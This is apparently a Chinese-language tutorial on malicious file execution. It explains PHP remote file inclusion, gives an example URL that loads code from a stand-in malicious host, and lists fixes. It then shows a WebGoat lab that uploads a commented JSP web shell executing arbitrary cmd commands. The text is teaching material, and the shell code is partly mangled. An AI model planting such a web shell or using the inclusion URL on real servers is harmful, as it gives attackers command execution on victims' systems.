Malicious execution

Malicious File Execution(惡意程式執行),網站引入來自外部的檔案,並且執行其內容,若引入惡意程式碼或惡意連結到正常網頁中,其他瀏覽同一網站的使用者也將深受其害,遭到惡意程式的***,甚至成為駭客的魁儡。

Malicious File Execution攻擊手法大多發生於PHP網站程式語言上。

常見缺失

一般最常見的弱點程式碼,利用GET方式取得引入的檔案

<?php

include $_GET[‘filename’];

?>

若使用下列URL存取有弱點的網站

http://hostname/index.php?filename=http://malicious_host/malicious.php

此時,程式將會讀取惡意網站裡的malicious.php檔案,若此檔案含有惡意程式碼,則會造網站受害。

解決方式

一般在做靜態檢測很難檢測程式會引入哪些檔案,所以防範Malicious File Execution攻擊,必須由程式設計師下手。
1. 檢查開啟或讀取檔案的部分是否使用使用者輸入字串
處理與檔案有關的函式,如include()、fopen()、readfile()、require()…等,避免引用使用者可輸入的字串。

2. 將allow_url_fopen設成off直接於php.ini中加入allow_url_fopen=off

演示
目的:

下面的表格允许你上传一个图像将显示在这个页面。像这样的特性通常被发现在基于web的论坛和社交网站。这个特性是容易受到恶意文件执行。

为了通过这个lession、上传和运行一个恶意文件。为了证明你的文件可执行,它应该创建另一个文件命名

我们要通过其对文件的类型的限制不完全,我们就可以上传一些可以执行的程序来进行我们要去做的***

比如是:我们要创建一个文件的目的

? 上传个jsp马
clip_image002
<!--实现cmd功能的JSP小***(作者: XX-->

? <%@ page contentType="text/html;charset=gb2312"%>

? <!--编码方式为gb2312(中文),否则会出现中文显示为乱码的情况-->

? <%@ page import="java.io.*"%>

? <!--引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作-->

? <%

? //定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;requestJSP中内置的对象,用来获取对象的值。

? String strCmd_in = request.getParameter("cmd");

? //定义字符串初始值为空的变量myLinemyLine是我们在界面输入框中的命令

? String myLine = "";

? //定义一个Buffer,用来读取我们的输入框中的命令并返回结果

? StringBuffer strBufCmd = new StringBuffer("");

? //如果strCmd_in不为Null就执

? if (strCmd_in != null)

? { /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/

? try

? { //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了

? Process pro = Runtime.getRuntime().exec("cmd /c " + strCmd_in);

? //新建一个BufferedReader对象,用来读取我们输入的命

? BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));

? while ((myLine = buf.readLine()) != null)

? {

? //获取到的命令追加到变量myLine后面并换行

? strBufCmd.append(myLine + "\r\n");

? clip_image004

? %>

? <!--空格-->

? <!--定义一个TEXTAREA类型的返回界面框,默认是20-->

? <TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>

? <br>

? <!--空格-->

? <%

? }

? %>

?

localhost/webgoat/uploads/xiao.jsp
运行马
clip_image006
执行
clip_image008